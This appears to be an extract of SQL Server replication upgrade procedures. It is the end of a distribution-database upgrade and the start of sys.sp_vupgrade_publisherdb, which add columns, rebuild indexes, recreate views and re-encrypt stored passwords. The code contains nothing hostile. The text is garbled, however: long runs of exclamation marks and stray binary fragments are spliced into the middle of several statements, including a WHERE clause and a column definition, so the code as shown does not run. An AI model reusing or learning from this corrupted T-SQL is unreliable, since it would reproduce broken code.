		            for update of dts_package_password
		            
		        open cur_MSdistribution_agents
		        fetch next from cur_MSdistribution_agents into @dts_package_password
		        while ( @@fetch_status <> -1 )
		        begin
		          !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(#iGv  EXEC sys.xp_repl_convert_encrypt_sysadmin_wrapper @dts_package_password OUTPUT
		           
		            update MSdistribution_agents
		            set dts_package_password=@dts_package_password
		            where current of cur_MSdistribution_agents

		            fetch next from cur_MSdistribution_agents into @dts_package_password
		        end')

        if not exists (select * from sys.columns where object_id = object_id('MSdistribution_agents') and name = 'queue_server')
        begin
            alter table MSdistribution_agents add queue_server sysname null
            EXEC sys.sp_MSupdate_mqserver_distdb
        end
    end

    /*
     * MSdistpublishers
    */
    if object_id('MSdistpublishers') is not NULL
    begin
        if not exists (select * from sys.columns where object_id = Object_Id('MSdistpublishers') and name = 'password' and max_length = '1048')
        begin
            /*
             * alter password column from sysname to nvarchar(524)
            */

            alter table MSdistpublishers alter column password nvarchar(524)
        end

        /*
         * convert all the passwords to new encryption
         */
        exec('declare @password nvarchar(524)
        
		        declare cur_MSdistpublishers CURSOR LOCAL FORWARD_ONLY for 
		            select password
		            from MSdistpublishers
		            for update of password
		            
		        open cur_MSdistpublishers
		        fetch next from cur_MSdistpublishers into @password
		        while ( @@fetch_status <> -1 )
		        begin
		            EXEC sys.xp_repl_convert_encrypt_sysadmin_wrapper @password OUTPUT

		            update MSdistpublishers
		            set password=@password
		            where current of cur_MSdistpublishers

		            fetch next from cur_MSdistpublishers into @password
		        end')
    end

    /*
     * MSrepl_commands
    */
    if object_id('MSrepl_commands') is not NULL
    begin
        if not exists (select * from sys.columns where object_id = Object_Id('MSrepl_commands') and name = 'hashkey')
        begin
            alter table MSrepl_commands add hashkey int default 0
        end

        if not exists (select * from sys.columns where object_id = Object_Id('MSrepl_commands') and name = 'originator_lsn')
        begin
            alter table MSrepl_commands add originator_lsn varbinary(16) NULL
        end
    end
    --
    -- MSrepl_identity_range
    --
    if object_id(N'dbo.MSrepl_identity_range') is not NULL
    begin
        --
        -- add primary key constraint if needed
        --
        if not exists (select * from sys.key_constraints where parent_object_id = object_id(N'dbo.MSrepl_identity_range')
                            and name = N'pkMSrepl_identity_range')
        begin
            alter table dbo.MSrepl_identity_range
                add constraint pkMSrepl_identity_range
                    primary key(publisher,publisher_db,tablename)
        end
    end

    -- ================================================================================
    -- HREPL OBJECTS
    -- ================================================================================

    -- IHarticles
    IF OBJECT_ID('IHarticles') IS NOT NULL
    BEGIN
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.columns
        	WHERE	object_id = OBJECT_ID('IHarticles') and name = 'use_default_datatypes'
        )
        BEGIN
            ALTER TABLE IHarticles ADD use_default_datatypes bit NOT NULL DEFAULT 0
        END

        IF EXISTS
        (
        	SELECT *
        	FROM sys.columns
        	WHERE name = 'custom_script'
        	  AND object_id=object_id('IHarticles')
        	  AND user_type_id <> 231
        )
        BEGIN 
            ALTER TABLE IHarticles alter column custom_script nvarchar(2048)
        END
    END

    -- IHpublishertables
    IF OBJECT_ID('IHpublishertables') IS NOT NULL
    BEGIN
        IF EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHpublishertables')
        	  AND   name = 'idx_IHpublishertables_tableid'
        )
        BEGIN
            DROP INDEX dbo.IHpublishertables.idx_IHpublishertables_tableid
        END
        CREATE UNIQUE CLUSTERED INDEX idx_IHpublishertables_tableid ON IHpublishertables (table_id)
        
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHpublishertables')
        	  AND   name = 'idx_IHpublishertables_name'
        )
        BEGIN
            CREATE INDEX idx_IHpublishertables_name ON IHpublishertables (name)
        END
	END
	
    -- IHarticles
    IF OBJECT_ID('IHarticles') IS NOT NULL
    BEGIN
        IF EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHarticles')
        	  AND   name = 'idx_IHarticles_articleid'
        )
        BEGIN
            DROP INDEX dbo.IHarticles.idx_IHarticles_articleid
        END
        CREATE UNIQUE CLUSTERED INDEX idx_IHarticles_articleid ON IHarticles (article_id)
        
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHarticles')
        	  AND   name = 'idx_IHarticles_tableid'
        )
        BEGIN
            CREATE INDEX idx_IHarticles_tableid ON IHarticles (table_id)
        END
        
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHarticles')
        	  AND   name = 'idx_IHarticles_name'
        )
        BEGIN
            CREATE INDEX idx_IHarticles_name ON IHarticles (name)
        END
	END
	
	-- IHpublishercolumns
    IF OBJECT_ID('IHpublishercolumns') IS NOT NULL
    BEGIN
        IF EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHpublishercolumns')
        	  AND   name = 'idx_IHpublishercolumns_name'
        )
        BEGIN
            DROP INDEX dbo.IHpublishercolumns.idx_IHpublishercolumns_name
        END
        CREATE INDEX idx_IHpublishercolumns_name on IHpublishercolumns (name)
        
        IF EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHpublishercolumns')
        	  AND   name = 'idx_IHpublishercolumns_tableid'
        )
        BEGIN
            DROP INDEX dbo.IHpublishercolumns.idx_IHpublishercolumns_tableid
        END
        CREATE INDEX idx_IHpublishercolumns_tableid on IHpublishercolumns (table_id)
     
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHpublishercolumns')
        	  AND   name = 'idx_IHpublishercolumns_type'
        )
        BEGIN
            CREATE INDEX idx_IHpublishercolumns_type on IHpublishercolumns (type)
        END
        
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHpublishercolumns')
        	  AND   name = 'idx_IHpublishercolumns_pubcolumnid'
        )
        BEGIN
            CREATE INDEX idx_IHpublishercolumns_pubcolumnid on IHpublishercolumns (publishercolumn_id)
        END
	END
        
	-- IHcolumns
    IF OBJECT_ID('IHcolumns') IS NOT NULL
    BEGIN
        IF EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHcolumns')
        	  AND   name = 'idx_IHcolumns_pubcolumnid'
        )
        BEGIN
            DROP INDEX dbo.IHcolumns.idx_IHcolumns_pubcolumnid
        END
        CREATE CLUSTERED INDEX idx_IHcolumns_pubcolumnid ON IHcolumns (publisherc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sys.indexes
        	WHERE	object_id = OBJECT_ID('IHcolumns')
        	  AND   name = 'idx_IHcolumns_columnid'
        )
        BEGIN
            CREATE INDEX idx_IHcolumns_columnid ON IHcolumns (column_id)
        END
     
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHcolumns')
        	  AND   name = 'idx_IHcolumns_articleid'
        )
        BEGIN
            CREATE INDEX idx_IHcolumns_articleid ON IHcolumns (article_id)
        END
        
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHcolumns')
        	  AND   name = 'idx_IHcolumns_mappedtype'
        )
        BEGIN
            CREATE INDEX idx_IHcolumns_mappedtype ON IHcolumns (mapped_type)
        END
	END
	
	-- IHpublisherindexes
    IF OBJECT_ID('IHpublisherindexes') IS NOT NULL
    BEGIN
        IF EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHpublisherindexes')
        	  AND   name = 'idx_IHpublisherindexes_pubindexid'
        )
        BEGIN
            DROP INDEX dbo.IHpublisherindexes.idx_IHpublisherindexes_pubindexid
        END
        CREATE UNIQUE CLUSTERED INDEX idx_IHpublisherindexes_pubindexid ON IHpublisherindexes (publisherindex_id)        
        
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHpublisherindexes')
        	  AND   name = 'idx_IHpublisherindexes_tableid'
        )
        BEGIN
            CREATE INDEX idx_IHpublisherindexes_tableid ON IHpublisherindexes (table_id)
        END
        
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHpublisherindexes')
        	  AND   name = 'idx_IHpublisherindexes_name'
        )
        BEGIN
            CREATE INDEX idx_IHpublisherindexes_name ON IHpublisherindexes (name)
        END
 	END	
       
    -- IHpublishercolumnindexes
    IF OBJECT_ID('IHpublishercolumnindexes') IS NOT NULL
    BEGIN
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHpublishercolumnindexes')
        	  AND   name = 'idx_IHpublishercolumnindexes_pubcolumnid'
        )
        BEGIN
            CREATE CLUSTERED INDEX idx_IHpublishercolumnindexes_pubcolumnid ON  IHpublishercolumnindexes (publishercolumn_id)
        END
        
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHpublishercolumnindexes')
        	  AND   name = 'idx_IHpublishercolumnindexes_pubindexid'
        )
        BEGIN
            CREATE INDEX idx_IHpublishercolumnindexes_pubindexid ON  IHpublishercolumnindexes (publisherindex_id)
        END
	END

	
    -- IHpublications
    IF OBJECT_ID('IHpublications') IS NOT NULL
    BEGIN
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHpublications')
        	  AND   name = 'idx_IHpublications_replfreq'
        )
        BEGIN
        	CREATE INDEX idx_IHpublications_replfreq ON IHpublications (repl_freq)
        END
        
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHpublications')
        	  AND   name = 'idx_IHpublications_name'
        )
        BEGIN
        	CREATE INDEX idx_IHpublications_name ON IHpublications (name)
        END
        
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHpublications')
        	  AND   name = 'idx_IHpublications_pubid'
        )
        BEGIN
        	CREATE INDEX idx_IHpublications_pubid ON IHpublications (pubid)
        END

        if not exists(select * from sys.columns where object_id = object_id('IHpublications') and name = 'originator_id')
        	alter table dbo.IHpublications add originator_id int NULL

        if exists (select * from sys.columns where object_id = object_id('dbo.IHpublications') and name = N'replicate_ddl' and is_nullable = 0)
        	alter table dbo.IHpublications alter column replicate_ddl int null
        if exists (select * from sys.columns where object_id = object_id('dbo.IHpublications') and name = N'options' and is_nullable = 0)
        	alter table dbo.IHpublications alter column options int null
	END

	-- IHcolumns
    IF OBJECT_ID('dbo.IHcolumns') IS NOT NULL
    BEGIN
        if exists (select * from sys.columns where object_id = object_id('dbo.IHcolumns') and name = N'mapped_nullable' and is_nullable = 0)
        	alter table dbo.IHcolumns alter column mapped_nullable bit null
	END
	
    
    -- IHpublisherconstraints
    IF OBJECT_ID('IHpublisherconstraints') IS NOT NULL
    BEGIN
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHpublisherconstraints')
        	  AND   name = 'idx_IHpublisherconstraints_pubconstraintid'
        )
        BEGIN
        	CREATE UNIQUE CLUSTERED INDEX idx_IHpublisherconstraints_pubconstraintid ON IHpublisherconstraints (publisherconstraint_id)
        END
        
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHpublisherconstraints')
        	  AND   name = 'idx_IHpublisherconstraints_tableid'
        )
        BEGIN
        	CREATE INDEX idx_IHpublisherconstraints_tableid ON IHpublisherconstraints (table_id)
        END
        
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHpublisherconstraints')
        	  AND   name = 'idx_IHpublisherconstraints_name'
        )
        BEGIN
        	CREATE INDEX idx_IHpublisherconstraints_name ON IHpublisherconstraints (name)
        END
	END
	
    -- IHpublishercolumnconstraints
    IF OBJECT_ID('IHpublishercolumnconstraints') IS NOT NULL
    BEGIN
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHpublishercolumnconstraints')
        	  AND   name = 'idx_IHpublishercolumnconstraints_pubcolumnid'
        )
        BEGIN
        	CREATE CLUSTERED INDEX idx_IHpublishercolumnconstraints_pubcolumnid ON IHpublishercolumnconstraints (publishercolumn_id)
        END
        
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHpublishercolumnconstraints')
        	  AND   name = 'idx_IHpublishercolumnconstraints_pubconstraintid'
        )
        BEGIN
        	CREATE INDEX idx_IHpublishercolumnconstraints_pubconstraintid ON IHpublishercolumnconstraints (publisherconstraint_id)
        END
	END	
	
	-- IHsubscriptions
    IF OBJECT_ID('IHsubscriptions') IS NOT NULL
    BEGIN
        IF EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = OBJECT_ID('IHsubscriptions')
        	  AND   name = 'idx_IHsubscriptions_article_id'
        )
        BEGIN
            DROP INDEX dbo.IHsubscriptions.idx_IHsubscriptions_article_id
        END
        CREATE UNIQUE CLUSTERED INDEX [idx_IHsubscriptions_article_id] ON [dbo].[IHsubscriptions] 
        (
	        [article_id] ASC,
	        [srvid] ASC,
	        [dest_db] ASC
        )WITH (SORT_IN_TEMPDB = OFF, DROP_EXISTING = OFF, ONLINE = OFF ) ON [PRIMARY]
	END
	
	-- sysschemaarticles
    IF OBJECT_ID('sysschemaarticles') IS NOT NULL
    BEGIN
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	sys.indexes
        	WHERE	object_id = !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`< 4k".OBJECT_ID('sysschemaarticles')
        	  AND   name = 'c1sysschemaarticles'
        )
        BEGIN
            CREATE UNIQUE CLUSTERED INDEX [c1sysschemaarticles] ON [dbo].[sysschemaarticles] 
            (
                [artid] ASC,
                [pubid] ASC
            )WITH (SORT_IN_TEMPDB = OFF, DROP_EXISTING = OFF, ONLINE = OFF) ON [PRIMARY]
        END
	END

	-- If the view 'syspublications' exists, drop it and recreate it.  
	-- add column originator_id.  
	IF EXISTS (SELECT * from sys.objects WHERE name = 'syspublications' and type = 'V')
       BEGIN
       	DROP VIEW dbo.syspublications
       END

	EXEC('create view syspublications (description, name, pubid, repl_freq, status, sync_method, snapshot_jobid, 
        			independent_agent, immediate_sync, enabled_for_internet, allow_push, allow_pull, allow_anonymous, immediate_sync_ready, 
				allow_sync_tran, autogen_sync_procs, retention, allow_queued_tran, snapshot_in_defaultfolder, alt_snapshot_folder, 
				pre_snapshot_script, post_snapshot_script, compress_snapshot, ftp_address, ftp_port, ftp_subdirectory, ftp_login, 
				ftp_password, allow_dts, allow_subscription_copy, centralized_conflicts, conflict_retention, conflict_policy, queue_type, 
				ad_guidname, backward_comp_level, allow_initialize_from_backup, min_autonosync_lsn, replicate_ddl, options, originator_id) AS 
		   SELECT ihpub.description, 
				ihpub.name, 
				ihpub.pubid, 
				ihpub.repl_freq, 
				ihpub.status, 
				ihpub.sync_method, 
				ihpub.snapshot_jobid, 
				ihpub.independent_agent, 
				ihpub.immediate_sync, 
				ihpub.enabled_for_internet, 
				ihpub.allow_push, 
				ihpub.allow_pull, 
				ihpub.allow_anonymous, 
				ihpub.immediate_sync_ready, 
				ihpub.allow_sync_tran, 
				ihpub.autogen_sync_procs, 
				ihpub.retention, 
				ihpub.allow_queued_tran, 
				ihpub.snapshot_in_defaultfolder, 
				ihpub.alt_snapshot_folder, 
				ihpub.pre_snapshot_script, 
				ihpub.post_snapshot_script, 
				ihpub.compress_snapshot, 
				ihpub.ftp_address, 
				ihpub.ftp_port, 
				ihpub.ftp_subdirectory, 
				ihpub.ftp_login, 
				ihpub.ftp_password, 
				ihpub.allow_dts, 
				ihpub.allow_subscription_copy, 
				ihpub.centralized_conflicts, 
				ihpub.conflict_retention, 
				ihpub.conflict_policy, 
				ihpub.queue_type,
				ihpub.ad_guidname, 
				ihpub.backward_comp_level, 
				ihpub.allow_initialize_from_backup, 
				ihpub.min_autonosync_lsn, 
				ihpub.replicate_ddl,
				ihpub.options,
				ihpub.originator_id
		 FROM   IHpublications ihpub')

      exec dbo.sp_MS_marksystemobject 'syspublications'
	
	-- If the view 'syssubscriptions' exists, drop it and recreate it.  
	-- One of the column names in syssubscriptions had a typeo.  
	IF EXISTS
	(
        	SELECT	*
        	FROM	sys.objects
        	WHERE	type = 'V'
        	  AND   name = 'syssubscriptions'
	)
	BEGIN
            DROP VIEW dbo.syssubscriptions
	END
	EXEC ( 'CREATE VIEW dbo.syssubscriptions (artid, srvid, dest_db, status, sync_type, login_name, subscription_type,
            distribution_jobid, timestamp, update_mode, loopback_detection, queued_reinit, nosync_type, srvname)
            AS 
            SELECT ihsub.article_id, 
                 ihsub.srvid, 
                 ihsub.dest_db, 
                 ihsub.status, 
                 ihsub.sync_type, 
                 ihsub.login_name, 
                 ihsub.subscription_type, 
                 ihsub.distribution_jobid, 
                 ihsub.timestamp, 
                 ihsub.update_mode, 
                 ihsub.loopback_detection, 
                 ihsub.queued_reinit, 
                 ihsub.nosync_type, 
                 ihsub.srvname 
            FROM   dbo.IHsubscriptions ihsub' )
            
    EXEC dbo.sp_MS_marksystemobject 'syssubscriptions'
    
	-- ================================================================================
	-- END HREPL OBJECTS
	-- ================================================================================

    if (object_id(N'dbo.MSmerge_articleresolver') is not null )
    begin
        if exists (select * from sys.columns where object_id = object_id('dbo.MSmerge_articleresolver') and name = N'is_dotnet_assembly' and is_nullable = 0)
        	alter table dbo.MSmerge_articleresolver alter column is_dotnet_assembly bit null
    end
    if (object_id(N'dbo.MSmerge_identity_range_allocations') is not null )
    begin
        if exists (select * from sys.columns where object_id = object_id('dbo.MSmerge_identity_range_allocations') and name = N'time_of_allocation' and is_nullable = 0)
        	alter table dbo.MSmerge_identity_range_allocations alter column time_of_allocation datetime null
    end

    /*
     * Call proc to upgrade MSmerge_subscriptions
    */
    exec sp_MSmerge_subscriptions_upgrade
    if @@error <> 0
           goto UNDO

    /*
    * Call proc to upgrade security meta-data.
    * ONLY DO THIS IF WE KNOW MSDB IS UPGRADED
    */
    IF EXISTS(SELECT * 
                FROM msdb.sys.columns 
                WHERE object_id = OBJECT_ID(N'msdb.dbo.sysjobsteps') 
                    AND name = N'step_uid')
    BEGIN
        EXEC @retcode = sys.sp_MSupgrade_distdb_security_metadata
        IF @@ERROR <> 0 or @retcode <> 0
            goto UNDO
    END
    ELSE
    BEGIN
        -- "The replication %s could not be upgraded for %s database(s). Please ensure that %s is upgraded and re-execute %s."
        RAISERROR(21450, 10, -1, 'distribution security meta-data', @database,  'msdb database', 'sp_vupgrade_replsecurity_metadata') WITH NOWAIT
    END
    /*
    * Call proc to upgrade heterogeneous subscriber connect information
    */
    exec @retcode = sys.sp_MSupgrade_heterogeneous_subscriber_connectinfo
    IF @@ERROR <> 0 or @retcode <> 0
        goto UNDO
    --
    -- all done
    --
    commit transaction
    return 0

UNDO:
    rollback tran sp_vupgrade_distdb
    commit tran
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(sTpvbcreate procedure sys.sp_vupgrade_publisherdb @ver_old int, @ver_retention int
as
begin

    set nocount on 

    declare @default_name sysname,
            @retcode int,
            @column_name nvarchar(128),
            @column_type nvarchar(128),
            @alter_cmd nvarchar(max)

    set @retcode = 0

    -- raiserror('sp_vupgrade_publisherdb', 0,1) with nowait

    -- Safety check - with Yukon, there are now objects in the dist db that can make
    -- a distribution db look like a publisher db.  In case the previous checks for
    -- distribution db mode fail, this is a last ditch check to make sure we don't
    -- add stuff to the distribution db
    IF sys.fn_MSrepl_isdistdb(DB_NAME()) = 1 OR
       object_id(N'dbo.IHpublishers', 'U') IS NOT NULL OR
       object_id(N'dbo.syspublications', 'V') IS NOT NULL OR
       object_id(N'dbo.MSdistribution_history', 'U') IS NOT NULL
    BEGIN
        -- The above evidence makes it extremely likely this is a distribution db
        -- Don't do anything further
        RETURN (0)
    END

    if object_id('systranschemas') is not null
    begin
        if not exists (select * from sys.columns where object_id = object_id('systranschemas') and 
            name = 'typeid')
        begin
            alter table systranschemas add typeid int null default 52
        end
    end

    -- syssubscriptions
    if object_id('dbo.syssubscriptions', 'U') is not null
    begin
         if not exists (select * from sys.columns where object_id = object_id('syssubscriptions') and 
            name = 'queued_reinit')
        begin
            alter table syssubscriptions add queued_reinit bit default 0 not null
        end

        if not exists (select * from sys.columns where object_id = object_id('dbo.syssubscriptions', 'U') and
            name = 'nosync_type')
        begin
            alter table dbo.syssubscriptions add nosync_type tinyint default 0 not null
        end

        if not exists (select * from sys.columns where object_id = object_id('dbo.syssubscriptions', 'U') and
            name = 'srvname')
        begin
            alter table dbo.syssubscriptions add srvname sysname not null default N'' with values
		if exists (select * from master.dbo.sysdatabases where dbid = db_id() and cmptlevel > 70)
	            exec('update dbo.syssubscriptions set srvname = upper(ss.srvname collate database_default) from dbo.syssubscriptions sub 
	            	join master.dbo.sysservers ss on ss.srvid = sub.srvid')
		else
	            exec('update dbo.syssubscriptions set srvname = upper(ss.srvname) from dbo.syssubscriptions sub 
	            	join master.dbo.sysservers ss on ss.srvid = sub.srvid')
			if exists(select * from sys.indexes where name = 	N'unc1syssubscriptions' and object_id = object_id(N'syssubscriptions'))
				drop index syssubscriptions.unc1syssubscriptions
           create unique nonclustered index unc1syssubscriptions on syssubscriptions (artid, srvid, dest_db, srvname)
        end
    end -- end of syssubscriptions upgrade

    -- sysarticles
    if object_id('dbo.sysarticles', 'U') is not null
    begin
        declare colcurs cursor LOCAL FAST_FORWARD 
        for (select col_name, col_type from (select col_name = 'ins_scripting_proc', col_type = 'int NULL'
                                                             union all 
                                                             select col_name = 'del_scripting_proc', col_type = 'int NULL'
                                                             union all 
                                                             select col_name = 'upd_scripting_proc', col_type = 'int NULL'
                                                             union all 
                                                             select col_name = 'custom_script', col_type = 'nvarchar(2048) NULL'
                                                             union all
                                                             select col_name = 'fire_triggers_on_snapshot', col_type = 'bit NOT NULL default 0') as t1
               left outer join
               sys.columns as t2
               on (t1.col_name = t2.name and t2.object_id = object_id('dbo.sysarticles', 'U'))
               where t2.name is null) --This query gives all the columns in t1 that are not in syscolums
        for read only
        open colcurs
        fetch colcurs into @column_name, @column_type
        if (@@fetch_status <> -1)
        begin
            select @alter_cmd = 'alter table dbo.sysarticles add ' + @column_name + ' ' + @column_type
            fetch colcurs into @column_name, @column_type
            while(@@fetch_status <> -1)
            begin
                select @alter_cmd = @alter_cmd + ', ' + @column_name + ' ' + @column_type
                fetch colcurs into @column_name, @column_type
            end
            exec (@alter_cmd)
            if @@error <> 0 return 1
        end
        close colcurs
        deallocate colcurs

	    -- sysarticlecolumns
	    --create sysarticlecolumns before reading columns info, do it within this block so it's NOT always
	    --created regardless of transactional replication
	    if object_id('sysarticlecolumns') is NULL
	    begin
	        create table dbo.sysarticlecolumns
	        (
	            artid           int NOT NULL,
	            colid           int NOT NULL,
	            is_udt 			bit null default 0,
	            is_xml 			bit null default 0,
	            is_max 			bit null default 0
	        )
	        create unique clustered index idx_sysarticlecolumns on sysarticlecolumns (artid, colid)
	        exec dbo.sp_MS_marksystemobject 'sysarticlecolumns'
	    end

    	if exists (select * from sys.columns where object_id = object_id('dbo.sysarticles', 'U') and 
            name = 'columns')
        begin
            exec @retcode = sys.sp_vupgrade_sysarticlecolumns
            if @@error <> 0 or @retcode <> 0 return 1

            alter table dbo.sysarticles drop column columns
            if @@error <> 0 return 1
        end

        if exists (select * from sys.columns sc inner join sys.types st on sc.system_type_id = st.system_type_id 
                where object_id = object_id('dbo.sysarticlecolumns', 'U') and sc.name = N'colid' and st.name = N'smallint')
        begin
            if exists (select * from sysindexes where id = object_id('dbo.sysarticlecolumns') and name ='idx_sysarticlecolumns')
            begin
                drop index sysarticlecolumns.idx_sysarticlecolumns
                if @@error <> 0 return 1
            end

            alter table dbo.sysarticlecolumns alter column colid int NOT null
            if @@error <> 0 return 1

            create unique clustered index idx_sysarticlecolumns on sysarticlecolumns (artid, colid)
            if @@error <> 0 return 1
        end

        if exists (select * from sysindexes where id = object_id('dbo.sysarticles') and name = 'unc1sysarticles' )
        begin
        	if not exists (select * from sysindexes where id = object_id('dbo.sysarticles') and name = 'c1sysarticles' )
			begin
				drop index sysarticles.unc1sysarticles
				create unique clustered index c1sysarticles on sysarticles (artid, pubid)
			end
        end
        if exists (select * from sys.columns where object_id = object_id('dbo.sysarticlecolumns') and name = N'is_udt' and is_nullable = 0)
        	alter table dbo.sysarticlecolumns alter column is_udt bit null
        if exists (select * from sys.columns where object_id = object_id('dbo.sysarticlecolumns') and name = N'is_xml' and is_nullable = 0)
        	alter table dbo.sysarticlecolumns alter column is_xml bit null
        if exists (select * from sys.columns where object_id = object_id('dbo.sysarticlecolumns') and name = N'is_max' and is_nullable = 0)
        	alter table dbo.sysarticlecolumns alter column is_!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(.`vbmax bit null

	end

     
    --  dbo.MSpeer_lsns
    if object_id('dbo.MSpeer_lsns') is not null
    begin

       -- add columns originator_version and originator_id
       if not exists(select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = 'originator_version')
       begin
       	select @alter_cmd = 'alter table dbo.MSpeer_lsns add originator_version int NULL'
		exec (@alter_cmd)
       end 

       if not exists(select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = 'originator_id')
       begin
       	select @alter_cmd = 'alter table dbo.MSpeer_lsns add originator_id int NULL'
		exec (@alter_cmd)
       end 
       
	-- Changing index PK from clustered to non-clustered
	-- drop clustered PK so we can drop index
	declare @PKConstraintName sysname
	select top 1 @PKConstraintName = sysdc.name from sys.key_constraints sysdc 
		where sysdc.parent_object_id = object_id('dbo.MSpeer_lsns')
			and sysdc.type = 'PK'
	if @PKConstraintName is not null
	begin
		select @alter_cmd = 'alter table dbo.MSpeer_lsns drop constraint ' + QUOTENAME(@PKConstraintName)
		exec (@alter_cmd)   -- drop primary key (also drops clustered key index)
	end
	select @alter_cmd = 'alter table dbo.MSpeer_lsns add constraint ' + QUOTENAME(@PKConstraintName) + ' PRIMARY KEY NONCLUSTERED (id)'
	exec (@alter_cmd) -- Make PK w/ index unclustered
	
	
       -- Changing index uci_MSpeer_lsns from (originator, originator_db, originator_publication, originator_publication_id, originator_db_version, originator_lsn)
       -- to (originator, originator_db, originator_publication_id, originator_db_version, originator_lsn) 
	if exists (select * from sys.indexes where name = 'uci_MSpeer_lsns' and object_id = object_id('dbo.MSpeer_lsns'))
	begin
	    -- drop old index
	    drop index dbo.MSpeer_lsns.uci_MSpeer_lsns
	end
	if exists(select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = 'originator')
		and exists(select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = 'originator_db')
		and exists(select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = 'originator_publication_id')
		and exists(select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = 'originator_db_version')
		and exists(select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = 'originator_lsn')
	begin
		-- create new one
	       create unique clustered index uci_MSpeer_lsns on dbo.MSpeer_lsns(originator, originator_db, originator_publication_id, originator_db_version, originator_lsn)
       end

        if exists (select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = N'last_updated' and is_nullable = 0)
        	alter table dbo.MSpeer_lsns alter column last_updated datetime null

